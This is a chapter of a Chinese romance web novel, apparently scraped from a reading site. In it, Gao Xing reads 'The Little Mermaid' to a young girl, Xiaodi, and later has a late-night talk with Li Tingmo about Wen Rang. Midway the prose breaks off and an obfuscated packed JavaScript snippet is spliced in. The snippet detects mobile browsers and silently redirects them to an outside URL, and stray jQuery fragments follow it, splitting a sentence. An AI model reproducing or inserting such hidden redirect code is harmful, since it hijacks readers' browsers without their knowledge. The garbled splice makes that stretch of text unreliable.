「安徒生」


    高幸端着温好的牛奶敲响小笛的卧室门，“小笛，睡了吗？”


    “高姐姐，我还没睡。”


    “那姐姐进来咯。”


    因为是租的房子，没有专门的儿童房，小笛住的是普通次卧，一米八的大床对瘦瘦小小的她来说显得过于空荡，而她总是习惯性地缩在角落里。


    见高幸进来，小笛掀开被子，“姐姐快过来给我讲故事。”


    “喝光牛奶我就给你讲。”高幸在床边坐下。


    小笛捧着杯子，很快就喝了个干净。


    “真棒啊我们小笛。”


    高幸把空杯子放到一旁，接过小笛手中的中英双语绘本，“姐姐不在的这两天，你有好好跟哥哥学汉语吗？”


    “我学了！”小笛苦想了一会儿，挤出四个音节，“我、喜、欢、你。”


    “我喜欢你？”高幸笑道，“是你哥哥教的吗？”


    “是的。”小笛靠坐在床上，“哥哥说女孩子喜欢听这四个字。”


    高幸帮她理了理靠枕，“还有呢？”


    小笛忽然攥紧拳头，没什么力气地对着空气挥了几拳，“哥哥还教我，以后谁欺负我，我就打谁。”


    “……”高幸可算知道小笛爸妈为什么不指望李听墨能教好小笛了。


    她还记得原话是——小笛那哥哥就是个不靠谱的。


    “姐姐还是给你讲故事吧。”


    “好哇好哇。”


    “讲什么呢……”高幸翻着绘本，忽然灵机一动，“小笛肯定知道安徒生童话吧？”


    “我知道里面有个故事是丑小鸭。”小笛从墙上的书柜里翻找出安徒生童话全集，递给高幸，“因为以前的同学总是这样叫我。”


    高幸闻言，一时间没控制住自己心疼的表情。


    小笛是天生兔唇，因为年纪小，现在还做不了手术。她一直把小笛当正常孩子看待，哪怕在教发音的时候，也正常教，不会特意避开她的唇形问题。


    “他们说我眼睛小，头发黑，嘴巴还是烂的。”小笛望着高幸，眼神很平静，仿佛不是在说自己。


    “小笛……”


    “高姐姐，可是哥哥告诉我，丑小鸭最后变成了超级漂亮的天鹅，对吗？”


    “是的。”高幸摸摸她的头，“姐姐也想这么说。”


    “所以，我不在乎现在是不是丑小鸭，反正迟早会变天鹅的。”小笛晃晃她的胳膊，“姐姐今晚给我讲什么故事？”


    “你想不想听小美人鱼的故事？”


    “好，这个我没听过。”


    高幸的英语口语虽然流利，但要把故事立马翻译成英文讲出来还是有些难度，她翻开面前的双语童话书，可以照着读。


    “这套书你还没看完吗？”


    “没有。”小笛说，“放在家里好几年了，我忘了读了……”


    小笛说完，又想起什么，补充道，“就是那个哥哥送的。”


    “哪个哥哥？”


    “那天和你一起买咖啡的哥哥。”


    温让？


    放在家里好几年了……


    大学毕业后开始读童话……


    高幸恍然大悟，原来当初他读童话故事是为了给小笛买书。


    “哥哥给我看过他们的合照，所以我记得他的样子。”小笛说。


    “小笛的记性真好，我觉得小笛以后一定会成为很厉害的大人。”


    “嘻嘻。”小笛抱着高幸的腰，笑盈盈地看着她，“我也觉得。”


    高幸翻到书的扉页，映入眼前的是干净利落的三行中英文寄语。


    祝愿小笛，健康成长，一生无忧。


    ——温让。


    手指拂过早已干涸多年的墨迹，不知不觉，笑意染上唇角。


    找到“海的女儿”的部分，高幸清了清嗓子，“在大海的远处……”


    十来分钟过去，小笛听得专注认真，一句话也没说。


    高幸偶尔会观察小笛的神色，之前小笛妈妈告诉她，小笛是高敏感孩子，观察和共情能力都比普通孩子强很多。


    果不其然，在听到小人鱼失去声音换来双腿时，小笛的眼角掉下一滴泪，用袖口默默擦去。


    故事读到最后，小美人鱼化为泡沫，却成为了天空的女儿，通过行善三百年获得不灭的灵魂。


    小笛靠在高幸怀里，抽泣了会儿。


    高幸拍着她的背，哄道：“没事儿了小笛，小美人鱼没有死的。”


    “我觉得她很勇敢。”小笛的声音闷闷的。


    “是啊，她确实很勇敢，为了自己追求的爱，可以牺牲很多东西。”


    小笛从高幸怀里仰起头，“她追求的也不算爱。”


    “嗯？”


    “是永恒的灵魂。”


    高幸忽然怔住，往回翻了几页。


    “她是为了获得灵魂，才这么不顾一切的。”小笛说，“不过，就算是为了爱，她也很勇敢，很多人都没有她勇敢。”


    “小笛，你第一次听这个故事吗？”


    “嗯！”小笛用力点了点头。


    高幸意识到自己就没真正理解过这些童话故事，“那小笛觉得，什么是勇敢？”


    “在不伤害别人的情况下，付出一切去实现自己想要的东西。”


    “即使会失败？”


    “即使会失败。”


    高幸定定地看着小笛。


    “姐姐怎么了？”


    “小笛想要什么？”


    “我……现在还不知道。”小笛说，“等我再长大一些，我会知道的。”


    “姐姐呢？”她反问道。


    “姐姐要好好想一下……”


    “小笛。”


    “怎么啦？”


    高幸盘起腿，把书合上，“你说很多人都没有小美人鱼勇敢。”


    “是呀，比如我哥哥。”


    “怎么说？”


    “上次他说他喜欢一个姐姐，买了束花给她，被姐姐拒绝了，他就不喜欢她了。”


    高幸想到李听墨被拒绝的场面，有些想笑，“那你觉得，要紧追不舍才是喜欢吗？”


    “倒也不是。”小笛想了想，说道，“我也不知道真正的喜欢是什么样的，我只知道一束花和喜欢是画不了等号的。”


    “你说的对。”


    “故事里的王子说他很爱小人鱼，但他没有勇敢地去保护这份爱。”小笛说，“所以从头到尾最勇敢的只有小人鱼。”


    “不过小笛，现实中的人们总是会考虑很多因素的。”高幸说，“等到你长大你就会明白，喜欢一个人也好，学习也好，工作也好，在实现自己目标的路途中，总是有无数的岔路，稍不注意，就远离了那条自己最想走的路。”


    “Yes,butallroadsleadtoRome.”


    高幸托着脑袋冲她笑，“这句话在中文里面可以用四个字概括。”


    “姐姐教教我。”


    “殊途同归。”


    -殊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042621|162607||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    途同归。


    温让落下最后一笔，合上今天新买的本子。


    他吃过药，情绪平缓许多。


    李听墨在这里待到很晚才走，他向来能说会道，小时候每次回中国，他都能跟没那么熟悉的人打成一片，就连长时间被锁在房里的温让也逃不过李听墨“入室抢劫式”交友。


    这么多年过去，李听墨倒是一点没变，拉着他聊了许多人生议题，直到温让打了个呵欠，李听墨才勉为其难地放过他，关门离开。


    躺在床上，温让盯着手机屏幕，直到屏幕变黑，倒映出他平静的脸。


    她或许在忙吧。温让心想。


    于是这夜，他没有等来一句晚安。


    高幸是在小笛房间睡着的，她的睡眠浅，一点风吹草动都会被惊醒。


    屋外传来一些窸窣响动，高幸迷迷糊糊地起床，替小笛揶好被角，轻手轻脚地走到门边。


    似乎有人在开柜子？


    夜半醒来，脑子的反应速度跟不上平时，高幸下意识以为家里进贼了，她在屋子角落摸索到小笛的高尔夫球杆，顺手拿过，然后缓缓打开门，没弄出一点声音。


    客厅窗帘关着，漆黑一片，直到她看见一点香烟星子。


    烟味离她越来越近，高幸握紧球杆。


    就在她举杆准备击打时，客厅的灯忽然亮了。


    高幸被刺激得紧闭双眼，头顶响起一声轻笑。


    “这是把我当贼了？”


    球杆被人扯走，高幸看向面前叼着烟的男人，被烟雾呛得咳了几声。


    “抱歉。”李听墨后退几步，“回来得晚，烟瘾犯了，没忍住，小笛怎么样？”


    “她睡得很好。”高幸说完，转过身朝自己房间走去，“我也去睡了。”


    “等等。”李听墨弯腰把烟头摁进烟灰缸里，“问你件事儿。”


    “什么？”


    “你跟温让，只是朋友关系？”


    “对。”


    李听墨点点头，“他身边没有异性好友，所以我有点疑惑罢了。”


    “没有异性好友？”


    可是记忆中，温让不缺异性才对。


    “我每次回中国，他的朋友来来回回都是那几个人。”李听墨说，“不过在他家那样的情况下，倒也正常。”


    “他看着，家教应该很严格。”


    “岂止是严格……”李听墨想到温让的嘱托，“算了，他家的事我作为旁人不太好说。”


    “你们认识很多年了？”


    “对啊，第一次见他，还是上小学呢，春节的时候，爸妈带我回国祭祖。”眼前又闪过温让带着伤的脸，李听墨忍不住叮嘱了一句，“这几天就麻烦你了，他那性格看着温和，其实还挺倔的，有些事……让他能别掺合就别掺合。”


    “我明白。”


    “他受伤了，他让我告诉你，是我打了他。”李听墨眼珠子一转，“你这么聪明，肯定能想到是什么意思吧？”


    “什么？！你为什么打他？”


    “不是……”看高幸的表情，她是压根儿没反应过来，李听墨把温让的话抛到脑后，“他是跟一群teenager打了架，故意让我这样给你说的。”


    “你——”


    李听墨打断她，追问道：“你可以猜猜他是为谁出这口气的？”


    高幸狐疑，“为了你？”


    “？”


    高幸：“你在向我炫耀吗？”


    没救了。


    李听墨绝望。